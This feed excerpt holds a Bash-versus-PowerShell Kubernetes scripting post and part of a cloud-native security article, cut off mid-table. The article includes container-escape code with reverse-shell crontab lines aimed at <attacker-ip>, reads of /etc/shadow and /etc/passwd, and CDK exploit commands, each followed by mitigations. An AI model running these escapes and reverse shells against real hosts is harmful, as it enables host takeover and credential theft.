<p>Bash is the default choice in Linux and macOS environments — and since most Kubernetes nodes run Linux, it&rsquo;s usually the natural fit. But PowerShell has become a compelling option, especially for teams with a Windows-heavy background or mixed OS environments.</p>
<h3 id="key-differences-at-a-glance">Key Differences at a Glance</h3>
<table>
<thead>
<tr>
<th>Feature</th>
<th>Bash</th>
<th>PowerShell</th>
</tr>
</thead>
<tbody>
<tr>
<td>Default OS</td>
<td>Linux / macOS</td>
<td>Windows (also available on Linux/macOS)</td>
</tr>
<tr>
<td>Output model</td>
<td>Text streams</td>
<td>Structured objects (.NET)</td>
</tr>
<tr>
<td>JSON handling</td>
<td>Requires <code>jq</code></td>
<td>Native via <code>ConvertFrom-Json</code></td>
</tr>
<tr>
<td>Kubernetes modules</td>
<td><code>kubectl</code> only</td>
<td><code>kubectl</code> + PSKubernetes module</td>
</tr>
<tr>
<td>Learning curve</td>
<td>Unix-familiar</td>
<td>Windows/OOP-familiar</td>
</tr>
<tr>
<td>CI/CD support</td>
<td>Universal</td>
<td>Good, growing</td>
</tr>
</tbody>
</table>
<hr>
<h3 id="powershell-example-list-all-pods-in-a-namespace">PowerShell Example: List All Pods in a Namespace</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#75715e"># list-pods.ps1</span>
</span></span><span style="display:flex;"><span>$Namespace = <span style="color:#e6db74">&#34;default&#34;</span>
</span></span><span style="display:flex;"><span>$AllPods = kubectl get pods -n $Namespace -o json | ConvertFrom-Json
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">foreach</span> ($Pod <span style="color:#66d9ef">in</span> $AllPods.items) {
</span></span><span style="display:flex;"><span>    Write-Host <span style="color:#e6db74">&#34;</span>$($Pod.metadata.namespace)<span style="color:#e6db74">/</span>$($Pod.metadata.name)<span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Because PowerShell works natively with objects, you skip the <code>jq</code> dependency entirely and can chain property access naturally.</p>
<hr>
<h3 id="powershell-example-enforce-pod-security-policy-via-pskubernetes">PowerShell Example: Enforce Pod Security Policy via PSKubernetes</h3>
<p>The <a href="https://www.powershellgallery.com/packages/PSKubernetes">PSKubernetes module</a> wraps <code>kubectl</code> with idiomatic PowerShell cmdlets:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#75715e"># enforce-security-policy.ps1</span>
</span></span><span style="display:flex;"><span>Import-Module PSKubernetes
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$Namespace = <span style="color:#e6db74">&#34;default&#34;</span>
</span></span><span style="display:flex;"><span>$Policy    = <span style="color:#e6db74">&#34;runtime/default&#34;</span>
</span></span><span style="display:flex;"><span>$AnnotationKey = <span style="color:#e6db74">&#34;seccomp.security.alpha.kubernetes.io/pod&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$PodList = Get-KubernetesPod -Namespace $Namespace
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">foreach</span> ($Pod <span style="color:#66d9ef">in</span> $PodList) {
</span></span><span style="display:flex;"><span>    $CurrentPolicy = $Pod.metadata.annotations.$AnnotationKey
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> ($CurrentPolicy <span style="color:#f92672">-ne</span> $Policy) {
</span></span><span style="display:flex;"><span>        Write-Host <span style="color:#e6db74">&#34;[~] Updating </span>$($Pod.metadata.name)<span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>        Set-KubernetesPod -Namespace $Namespace -Name $Pod.metadata.name `
</span></span><span style="display:flex;"><span>            -Annotation @{ $AnnotationKey = $Policy }
</span></span><span style="display:flex;"><span>    } <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>        Write-Host <span style="color:#e6db74">&#34;[✓] </span>$($Pod.metadata.name)<span style="color:#e6db74"> already compliant&#34;</span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><hr>
<h3 id="when-to-choose-which">When to Choose Which</h3>
<p><strong>Choose Bash when:</strong></p>
<ul>
<li>Your infrastructure runs on Linux-based nodes (most clusters)</li>
<li>You&rsquo;re integrating with Unix-native CI tools (GitHub Actions, GitLab CI, Jenkins)</li>
<li>Your team has strong Unix/Linux fluency</li>
<li>You want minimal external dependencies</li>
</ul>
<p><strong>Choose PowerShell when:</strong></p>
<ul>
<li>Your team comes from a Windows/Azure background</li>
<li>You need to integrate Kubernetes security with Windows-based tooling</li>
<li>You&rsquo;re managing hybrid Windows/Linux node pools</li>
<li>You want native object-oriented scripting without <code>jq</code></li>
</ul>
<p>Both languages are capable. The best choice is typically the one your team will actually maintain.</p>
<hr>
<h2 id="security-best-practices-when-writing-these-scripts">Security Best Practices When Writing These Scripts</h2>
<p>Regardless of which shell you choose, keep the following practices in mind:</p>
<ol>
<li><strong>Use <code>set -euo pipefail</code> in Bash</strong> — This ensures your script exits on any error and treats unset variables as failures.</li>
<li><strong>Avoid hardcoded credentials</strong> — Use Kubernetes ServiceAccounts with minimal RBAC permissions instead of embedding kubeconfig credentials in scripts.</li>
<li><strong>Parameterize your scripts</strong> — Accept namespace and policy values as arguments rather than hardcoding them. This makes scripts reusable and testable.</li>
<li><strong>Log all changes</strong> — Append script output to an audit log so you have a record of what was modified and when.</li>
<li><strong>Test in a non-production namespace first</strong> — Even simple <code>kubectl set image</code> or <code>kubectl annotate</code> commands can have unintended side effects on running workloads.</li>
<li><strong>Pin image versions by digest, not tag</strong> — Tags are mutable. Digests (<code>image@sha256:...</code>) guarantee you&rsquo;re running exactly the image you audited.</li>
<li><strong>Integrate with your CI/CD pipeline</strong> — Run security audit scripts as a post-deploy gate to catch policy drift before it accumulates.</li>
</ol>
<hr>
<h2 id="going-further-beyond-shell-scripts">Going Further: Beyond Shell Scripts</h2>
<p>Shell scripts are an excellent starting point, but as your security requirements grow, you may want to explore purpose-built Kubernetes security tools:</p>
<ul>
<li><strong><a href="https://kyverno.io/">Kyverno</a></strong> — A Kubernetes-native policy engine that enforces policies as Kubernetes resources (no scripting required)</li>
<li><strong><a href="https://open-policy-agent.github.io/gatekeeper/">OPA/Gatekeeper</a></strong> — Open Policy Agent integration for fine-grained admission control</li>
<li><strong><a href="https://falco.org/">Falco</a></strong> — Runtime threat detection for containers and Kubernetes</li>
<li><strong><a href="https://trivy.dev/">Trivy</a></strong> — Vulnerability scanning for container images, which you can invoke directly from shell scripts</li>
<li><strong><a href="https://github.com/aquasecurity/kube-bench">kube-bench</a></strong> — Checks your cluster configuration against CIS Kubernetes Benchmarks</li>
</ul>
<p>Shell scripting and dedicated tools aren&rsquo;t mutually exclusive — you can script the invocation of <code>trivy</code> or <code>kube-bench</code> as part of a broader security automation pipeline.</p>
<hr>
<h2 id="conclusion">Conclusion</h2>
<p>Shell scripting is a powerful and accessible way to extend Kubernetes security beyond its defaults. With a few well-crafted Bash or PowerShell scripts, you can detect misconfigurations, enforce organizational policies, and automate compliance checks across your entire cluster fleet.</p>
<p>The key is to treat your security scripts like any other code: version-control them, test them, review them, and iterate on them as your security posture matures. Start with the examples above, adapt them to your environment, and progressively move toward policy-as-code tools as your needs scale.</p>
<hr>
<p><em>Photo by Brandon Jaramillo on Unsplash.</em></p>
]]></content>
        </item>
        
        <item>
            <title>Cloud-Native Security</title>
            <link>https://amini.eu/posts/2022/03/cloud-native-security/</link>
            <pubDate>Mon, 14 Mar 2022 00:00:00 +0000</pubDate>
            
            <guid>https://amini.eu/posts/2022/03/cloud-native-security/</guid>
            <description>Table of Contents What is Cloud-Native Security? Cloud-Native Security 4C Model Build-Deploy-Run Security Model Attack Lifecycle Perspective Container Attack Surface Container Environment Detection Container Escape Techniques Docker Escape via Misconfiguration High-Risk Docker Startup Parameters Dangerous Mount Scenarios CVE-Based Container Escapes Kubernetes Security Defensive Best Practices What is Cloud-Native Security? Cloud-native is both a technology system and a methodology. The term combines two concepts: Cloud, indicating that the application runs in the cloud rather than in a traditional on-premises data center, and Native, meaning the application was designed from the ground up to operate in a cloud environment — leveraging elasticity, scalability, and distributed architecture from day one.</description>
            <content type="html"><![CDATA[<p><img src="https://res.cloudinary.com/amini/image/upload/v1647112845/Cloud_container_rsscd5.jpg" alt="Security layers"></p>
<hr>
<h2 id="table-of-contents">Table of Contents</h2>
<ul>
<li><a href="#what-is-cloud-native-security">What is Cloud-Native Security?</a></li>
<li><a href="#cloud-native-security-4c-model">Cloud-Native Security 4C Model</a></li>
<li><a href="#build-deploy-run-security-model">Build-Deploy-Run Security Model</a></li>
<li><a href="#attack-lifecycle-perspective">Attack Lifecycle Perspective</a></li>
<li><a href="#container-attack-surface">Container Attack Surface</a></li>
<li><a href="#container-environment-detection">Container Environment Detection</a></li>
<li><a href="#container-escape-techniques">Container Escape Techniques</a></li>
<li><a href="#docker-escape-via-misconfiguration">Docker Escape via Misconfiguration</a></li>
<li><a href="#high-risk-docker-startup-parameters">High-Risk Docker Startup Parameters</a></li>
<li><a href="#dangerous-mount-scenarios">Dangerous Mount Scenarios</a></li>
<li><a href="#cve-based-container-escapes">CVE-Based Container Escapes</a></li>
<li><a href="#kubernetes-security">Kubernetes Security</a></li>
<li><a href="#defensive-best-practices">Defensive Best Practices</a></li>
</ul>
<hr>
<h2 id="what-is-cloud-native-security">What is Cloud-Native Security?</h2>
<p><strong>Cloud-native</strong> is both a technology system and a methodology. The term combines two concepts: <strong>Cloud</strong>, indicating that the application runs in the cloud rather than in a traditional on-premises data center, and <strong>Native</strong>, meaning the application was designed from the ground up to operate in a cloud environment — leveraging elasticity, scalability, and distributed architecture from day one.</p>
<p>Cloud-native representative technologies include:</p>
<table>
<thead>
<tr>
<th>Technology</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Containers</strong></td>
<td>Lightweight, portable runtime environments (e.g., Docker)</td>
</tr>
<tr>
<td><strong>Service Mesh</strong></td>
<td>Infrastructure layer for service-to-service communication (e.g., Istio)</td>
</tr>
<tr>
<td><strong>Microservices</strong></td>
<td>Architectural style decomposing apps into small, independent services</td>
</tr>
<tr>
<td><strong>Immutable Infrastructure</strong></td>
<td>Infrastructure replaced rather than updated in place</td>
</tr>
<tr>
<td><strong>Declarative APIs</strong></td>
<td>Define desired state; the system reconciles reality to match</td>
</tr>
</tbody>
</table>
<p>Cloud-native security extends traditional security thinking to cover these new primitives. Because the perimeter has dissolved and services are ephemeral, security must be embedded at every layer — not bolted on afterward.</p>
<p><img src="https://res.cloudinary.com/amini/image/upload/v1647113897/Security_layers_xvwtb0.png" alt="Security layers"></p>
<hr>
<h2 id="cloud-native-security-4c-model">Cloud-Native Security 4C Model</h2>
<p>Cloud-native security is best understood as a layered model. The <strong>4C framework</strong> defines four nested security domains:</p>
<ol>
<li><strong>Cloud</strong> — The underlying infrastructure provider (AWS, GCP, Azure, on-prem)</li>
<li><strong>Cluster</strong> — The Kubernetes cluster and its configuration</li>
<li><strong>Container</strong> — The container runtime, images, and configurations</li>
<li><strong>Code</strong> — The application code and its dependencies</li>
</ol>
<p><img src="https://res.cloudinary.com/amini/image/upload/v1647114079/4C_jnuay6.jpg" alt="4C"></p>
<blockquote>
<p>Image from <a href="https://blogs.cisco.com/developer/devsecopsforkubernetes01">Cisco blog</a></p>
</blockquote>
<blockquote>
<p>Each layer builds on the security of the layer beneath it. Strong code-level security cannot compensate for a weak infrastructure layer. If your cloud or cluster layer has critical misconfigurations, no amount of application-level hardening will fully protect you.</p>
</blockquote>
<h3 id="layer-breakdown">Layer Breakdown</h3>
<p><strong>Cloud Layer</strong> responsibilities include:</p>
<ul>
<li>IAM policies and least-privilege access</li>
<li>Network segmentation and firewall rules</li>
<li>Data encryption at rest and in transit</li>
<li>Audit logging and monitoring</li>
</ul>
<p><strong>Cluster Layer</strong> responsibilities include:</p>
<ul>
<li>Kubernetes RBAC (Role-Based Access Control)</li>
<li>Network Policies between pods</li>
<li>Secrets management (e.g., Vault, sealed-secrets)</li>
<li>Admission controllers (OPA/Gatekeeper, Kyverno)</li>
</ul>
<p><strong>Container Layer</strong> responsibilities include:</p>
<ul>
<li>Using minimal base images (distroless, Alpine)</li>
<li>Image scanning for CVEs before deployment</li>
<li>Non-root user inside containers</li>
<li>Read-only root filesystems</li>
</ul>
<p><strong>Code Layer</strong> responsibilities include:</p>
<ul>
<li>Dependency scanning (SAST/SCA)</li>
<li>Secrets detection in source code</li>
<li>Secure coding practices</li>
<li>Runtime Application Self-Protection (RASP)</li>
</ul>
<hr>
<h2 id="build-deploy-run-security-model">Build-Deploy-Run Security Model</h2>
<p>A complementary way to organize security is across the <strong>software delivery lifecycle</strong>:</p>
<h3 id="build-security">Build Security</h3>
<p>Security checks applied when building container images:</p>
<ul>
<li><strong>Dockerfile linting</strong> — Enforce rules (e.g., no <code>latest</code> tags, no <code>ADD</code> for remote URLs, <code>USER</code> directive required)</li>
<li><strong>Suspicious files</strong> — Detect shells, credential files, or sensitive data baked into images</li>
<li><strong>Sensitive permissions</strong> — Flag images requesting unnecessary Linux capabilities</li>
<li><strong>Sensitive ports</strong> — Flag exposure of privileged ports (&lt; 1024)</li>
<li><strong>Base image vulnerability scanning</strong> — Scan OS packages using <a href="https://github.com/aquasecurity/trivy">Trivy</a>, <a href="https://github.com/anchore/grype">Grype</a>, or <a href="https://snyk.io/">Snyk</a></li>
<li><strong>Business software CVEs</strong> — Scan application dependencies (pip, npm, Maven, etc.)</li>
<li><strong>Signing and attestation</strong> — Sign images with <a href="https://github.com/sigstore/cosign">Cosign</a> and enforce supply chain policies</li>
</ul>
<h3 id="deployment-security-kubernetes">Deployment Security (Kubernetes)</h3>
<ul>
<li>Enforce <strong>Pod Security Standards</strong> (Baseline or Restricted profiles)</li>
<li>Use <strong>Admission Controllers</strong> to block non-compliant workloads</li>
<li>Apply <strong>Network Policies</strong> to restrict pod-to-pod communication</li>
<li>Rotate and tightly scope <strong>Service Account tokens</strong></li>
<li>Use <strong>resource limits</strong> to prevent noisy-neighbor or DoS scenarios</li>
<li>Ensure images are pulled from trusted, private registries</li>
</ul>
<h3 id="runtime-security">Runtime Security</h3>
<ul>
<li><strong>HIDS (Host Intrusion Detection Systems)</strong> — Monitor system call activity (e.g., <a href="https://falco.org/">Falco</a>)</li>
<li><strong>Behavioral anomaly detection</strong> — Alert on unexpected process execution or file access</li>
<li><strong>Seccomp profiles</strong> — Restrict available syscalls to the minimum required</li>
<li><strong>AppArmor / SELinux</strong> — Mandatory access control for container processes</li>
<li><strong>Audit logging</strong> — Capture and ship Kubernetes audit logs to a SIEM</li>
</ul>
<hr>
<h2 id="attack-lifecycle-perspective">Attack Lifecycle Perspective</h2>
<table>
<thead>
<tr>
<th>Phase</th>
<th>Goal</th>
<th>Keywords</th>
<th>Example Controls</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Before the attack</strong></td>
<td>Reduce attack surface and external exposure</td>
<td>Isolation, hardening</td>
<td>Network policies, minimal images, no public ports</td>
</tr>
<tr>
<td><strong>During the attack</strong></td>
<td>Reduce the probability of exploitation succeeding</td>
<td>Defense-in-depth, detection</td>
<td>Seccomp, AppArmor, Falco alerts, WAF</td>
</tr>
<tr>
<td><strong>After the attack</strong></td>
<td>Limit blast radius; make persistence and data exfiltration difficult</td>
<td>Forensics, containment</td>
<td>Read-only FS, immutable infra, short-lived tokens, audit logs</td>
</tr>
</tbody>
</table>
<hr>
<h2 id="container-attack-surface">Container Attack Surface</h2>
<h3 id="linux-kernel-vulnerabilities">Linux Kernel Vulnerabilities</h3>
<p>Since containers share the host kernel, kernel vulnerabilities directly affect container security:</p>
<ul>
<li><strong>Kernel privilege escalation</strong> — Exploiting kernel bugs to elevate from a low-privilege container process to root on the host</li>
<li><strong>Container escape via kernel exploits</strong> — Examples include Dirty COW (CVE-2016-5195), Dirty Pipe (CVE-2022-0847)</li>
</ul>
<p><strong>Mitigations:</strong></p>
<ul>
<li>Keep the host kernel patched</li>
<li>Use seccomp profiles to limit syscall surface</li>
<li>Deploy on immutable, hardened node images (e.g., Bottlerocket, Flatcar)</li>
</ul>
<h3 id="container-runtime-vulnerabilities">Container Runtime Vulnerabilities</h3>
<ul>
<li><strong>CVE-2019-5736 (runc)</strong> — An attacker can overwrite the host&rsquo;s <code>runc</code> binary from inside a container, gaining root code execution on the host. Details at <a href="https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/">Unit42 - Palo Alto Networks</a></li>
</ul>
<p><strong>Mitigations:</strong></p>
<ul>
<li>Keep container runtimes updated</li>
<li>Use rootless containers where possible</li>
<li>Consider kata containers or gVisor for stronger isolation</li>
</ul>
<h3 id="misconfigurations">Misconfigurations</h3>
<p>The most common and impactful attack surface in practice:</p>
<ul>
<li>Running containers as <code>root</code> or with <code>--privileged</code></li>
<li>Overly broad Linux <code>Capabilities</code> assignments</li>
<li>Mounting sensitive host directories into containers</li>
<li>Exposing the Docker socket inside containers</li>
<li>Unauthenticated Docker Remote API</li>
</ul>
<hr>
<h2 id="container-environment-detection">Container Environment Detection</h2>
<h3 id="check-the-pid-1-process-name">Check the PID 1 Process Name</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ps -p <span style="color:#ae81ff">1</span>
</span></span></code></pre></div><blockquote>
<p><strong>Note:</strong> LXD/LXC instances may still show <code>/sbin/init</code> as PID 1 even inside a container.</p>
</blockquote>
<h3 id="check-for-a-kernel-boot-path">Check for a Kernel Boot Path</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>KERNEL_PATH<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>cat /proc/cmdline | tr <span style="color:#e6db74">&#39; &#39;</span> <span style="color:#e6db74">&#39;\n&#39;</span> | awk -F <span style="color:#e6db74">&#39;=&#39;</span> <span style="color:#e6db74">&#39;/THIS/{print $2}&#39;</span><span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>test -e $KERNEL_PATH <span style="color:#f92672">&amp;&amp;</span> echo <span style="color:#e6db74">&#34;Not Sure&#34;</span> <span style="color:#f92672">||</span> echo <span style="color:#e6db74">&#34;Container&#34;</span>
</span></span></code></pre></div><h3 id="inspect-proc1cgroup">Inspect <code>/proc/1/cgroup</code></h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cat /proc/1/cgroup
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Quick check:</span>
</span></span><span style="display:flex;"><span>cat /proc/1/cgroup | grep -qi docker <span style="color:#f92672">&amp;&amp;</span> echo <span style="color:#e6db74">&#34;Docker&#34;</span> <span style="color:#f92672">||</span> echo <span style="color:#e6db74">&#34;Not Docker&#34;</span>
</span></span></code></pre></div><h3 id="check-for-dockerenv">Check for <code>.dockerenv</code></h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ls -la /.dockerenv
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[[</span> -f /.dockerenv <span style="color:#f92672">]]</span> <span style="color:#f92672">&amp;&amp;</span> echo <span style="color:#e6db74">&#34;Docker&#34;</span> <span style="color:#f92672">||</span> echo <span style="color:#e6db74">&#34;Not Docker&#34;</span>
</span></span></code></pre></div><h3 id="additional-methods">Additional Methods</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># If symlink points to systemd, likely a host</span>
</span></span><span style="display:flex;"><span>sudo readlink /proc/1/exe
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Returns &#39;none&#39; on bare metal, &#39;docker&#39; or &#39;container-other&#39; inside containers</span>
</span></span><span style="display:flex;"><span>systemd-detect-virt -c
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Check for container-specific environment variables</span>
</span></span><span style="display:flex;"><span>env | grep -i kubernetes
</span></span><span style="display:flex;"><span>env | grep -i docker
</span></span></code></pre></div><hr>
<h2 id="container-escape-techniques">Container Escape Techniques</h2>
<table>
<thead>
<tr>
<th>Layer</th>
<th>Examples</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>User layer</strong></td>
<td>Dangerous mounts, improper configuration (privileged mode, exposed socket)</td>
</tr>
<tr>
<td><strong>Service layer</strong></td>
<td>Bugs in the container daemon or runtime (runc CVEs)</td>
</tr>
<tr>
<td><strong>System layer</strong></td>
<td>Linux kernel vulnerabilities (Dirty COW, Dirty Pipe)</td>
</tr>
</tbody>
</table>
<hr>
<h2 id="docker-escape-via-misconfiguration">Docker Escape via Misconfiguration</h2>
<h3 id="unauthenticated-docker-remote-api">Unauthenticated Docker Remote API</h3>
<p>Docker Swarm uses port <code>2375</code> by default. If this port is publicly reachable without authentication, an attacker can gain full control of the host.</p>
<h4 id="enumerate-running-containers">Enumerate Running Containers</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -s -X GET http://&lt;docker_host&gt;:2375/containers/json | python3 -m json.tool
</span></span></code></pre></div><h4 id="create-an-exec-instance">Create an Exec Instance</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -s -X POST <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  -H <span style="color:#e6db74">&#34;Content-Type: application/json&#34;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  --data-binary <span style="color:#e6db74">&#39;{
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    &#34;AttachStdin&#34;: true,
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    &#34;AttachStdout&#34;: true,
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    &#34;AttachStderr&#34;: true,
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    &#34;Cmd&#34;: [&#34;cat&#34;, &#34;/etc/passwd&#34;],
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    &#34;DetachKeys&#34;: &#34;ctrl-p,ctrl-q&#34;,
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    &#34;Privileged&#34;: true,
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    &#34;Tty&#34;: true
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">  }&#39;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  http://&lt;docker_host&gt;:2375/containers/&lt;container_id&gt;/exec
</span></span></code></pre></div><h4 id="start-the-exec-instance">Start the Exec Instance</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -s -X POST <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  -H <span style="color:#e6db74">&#39;Content-Type: application/json&#39;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  --data-binary <span style="color:#e6db74">&#39;{&#34;Detach&#34;: false, &#34;Tty&#34;: false}&#39;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  http://&lt;docker_host&gt;:2375/exec/&lt;exec_id&gt;/start
</span></span></code></pre></div><h4 id="escalate-to-host-rce-via-crontab">Escalate to Host RCE via Crontab</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">import</span> docker
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>client <span style="color:#f92672">=</span> docker<span style="color:#f92672">.</span>DockerClient(base_url<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;http://&lt;target-ip&gt;:2375/&#39;</span>)
</span></span><span style="display:flex;"><span>data <span style="color:#f92672">=</span> client<span style="color:#f92672">.</span>containers<span style="color:#f92672">.</span>run(
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#39;alpine:latest&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">r</span><span style="color:#e6db74">&#39;&#39;&#39;sh -c &#34;echo &#39;* * * * * /usr/bin/nc &lt;attacker-ip&gt; 4444 -e /bin/sh&#39; &gt;&gt; /tmp/etc/crontabs/root&#34;&#39;&#39;&#39;</span>,
</span></span><span style="display:flex;"><span>    remove<span style="color:#f92672">=</span><span style="color:#66d9ef">True</span>,
</span></span><span style="display:flex;"><span>    volumes<span style="color:#f92672">=</span>{<span style="color:#e6db74">&#39;/etc&#39;</span>: {<span style="color:#e6db74">&#39;bind&#39;</span>: <span style="color:#e6db74">&#39;/tmp/etc&#39;</span>, <span style="color:#e6db74">&#39;mode&#39;</span>: <span style="color:#e6db74">&#39;rw&#39;</span>}}
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><p>Reference exploit: <a href="https://github.com/vulhub/vulhub/tree/master/docker/unauthorized-rce">vulhub/docker/unauthorized-rce</a></p>
<p><img src="https://res.cloudinary.com/amini/image/upload/v1647195858/1_qpgkz4.png" alt=" "></p>
<h4 id="using-cdk">Using CDK</h4>
<table>
<thead>
<tr>
<th>Module</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>evaluate</code></td>
<td>Gather container info and identify weaknesses</td>
</tr>
<tr>
<td><code>exploit</code></td>
<td>Container escape, persistence, lateral movement</td>
</tr>
<tr>
<td><code>tool</code></td>
<td>Network tools, HTTP requests, tunnels, K8s management</td>
</tr>
</tbody>
</table>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>./cdk run docker-api-pwn http://127.0.0.1:2375 <span style="color:#e6db74">&#34;touch /host/tmp/docker-api-pwn&#34;</span>
</span></span></code></pre></div><p><strong>Defensive mitigations:</strong></p>
<ul>
<li>Never expose the Docker API without mutual TLS authentication</li>
<li>Use Unix socket (default) instead of TCP</li>
<li>Block port 2375/2376 at the firewall</li>
<li>Enable Docker Content Trust</li>
</ul>
<hr>
<h2 id="high-risk-docker-startup-parameters">High-Risk Docker Startup Parameters</h2>
<h3 id="--privileged-mode"><code>--privileged</code> Mode</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Start a privileged container (dangerous!)</span>
</span></span><span style="display:flex;"><span>sudo docker run -itd --privileged ubuntu:latest /bin/bash
</span></span></code></pre></div><p><strong>Exploit path:</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>fdisk -l
</span></span><span style="display:flex;"><span>mkdir /mnt/host <span style="color:#f92672">&amp;&amp;</span> mount /dev/sda1 /mnt/host
</span></span><span style="display:flex;"><span>cat /mnt/host/etc/shadow
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;* * * * * root /bin/bash -i &gt;&amp; /dev/tcp/&lt;ip&gt;/4444 0&gt;&amp;1&#34;</span> &gt;&gt; /mnt/host/etc/crontab
</span></span></code></pre></div><p>Using CDK:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>./cdk run mount-disk
</span></span></code></pre></div><p><strong>Defensive mitigations:</strong> Never use <code>--privileged</code> in production. Enforce via admission controllers and Pod Security Standards (<code>restricted</code>).</p>
<hr>
<h3 id="--cap-addsys_admin"><code>--cap-add=SYS_ADMIN</code></h3>
<table>
<thead>
<tr>
<th>Dangerous flag</th>
<th>Effect</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>--cap-add=SYS_ADMIN</code></td>
<td>Allows <code>mount</code> and many other privileged operations</td>
</tr>
<tr>
<td><code>--net=host</code></td>
<td>Bypasses Network Namespace; container shares host networking</td>
</tr>
<tr>
<td><code>--pid=host</code></td>
<td>Bypasses PID Namespace; container sees all host processes</td>
</tr>
<tr>
<td><code>--ipc=host</code></td>
<td>Bypasses IPC Namespace; shared memory access with host</td>
